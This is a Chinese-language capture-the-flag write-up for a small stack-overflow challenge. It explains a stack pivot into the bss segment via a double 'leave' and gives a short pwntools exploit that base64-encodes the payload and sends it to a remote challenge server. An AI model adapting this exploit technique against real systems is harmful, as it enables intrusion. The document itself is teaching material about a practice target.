Loading... 很简单的一个栈溢出,本来还以为真的是什么高级密码学 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/287439492.png" ></div> 这里有一个栈溢出。虽然只溢出了四个字节,但是由于input在bss段,其地址已知,我们可以考虑通过leave栈迁移至input。由于题目给出了后面函数,我们直接ret到那里去就可以了。 当然payload要先base64加密一下,因为main里会先给他解个密。 exp: ```python #!/usr/bin/env python # coding=utf-8 from pwn import * import base64 bss_addr = 0x811EB40 ret_to = 0x8049284 payload = p32(ret_to) * 2 + p32(bss_addr) payload = base64.b64encode(payload) print payload sh = remote("220.249.52.134",31194) sh.sendlineafter(": ",payload) sh.interactive() ``` 栈行为为:第一次leave将`ebp`mov给`esp`,然后将`bss_addr`pop给`ebp`,然后第二次leave会再mov一次,此时栈迁移到了bss_addr,pop出第一个`ret_to`,最后return到`ret_to` 最后修改:2021 年 01 月 06 日 03 : 27 PM © 允许规范转载 赞赏 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付